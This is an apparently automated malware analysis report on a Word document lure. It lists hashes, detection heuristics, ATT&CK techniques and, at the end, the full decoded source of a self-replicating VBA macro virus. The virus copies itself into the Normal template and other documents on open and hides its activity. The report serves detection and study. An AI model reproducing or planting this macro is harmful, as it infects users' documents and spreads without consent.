Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 893d909ab460d155…

MALICIOUS

Office (OLE)

48.5 KB Created: 2018-10-25 07:00:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 456511d9be408f891b723f4033d54e50 SHA-1: dc852fc4eeccd85541856bc01b4abb8957ea0ed1 SHA-256: 893d909ab460d15586e8c11d98e58bf9305d0a91690ae3810af45401402d93b3
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing embedded VBA macros, specifically a Document_Open macro designed to execute code upon opening. The macro attempts to overwrite itself and potentially download or execute further malicious content, as indicated by the ClamAV detection and the presence of VBA code. The document body is a seemingly benign academic form, suggesting a lure.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub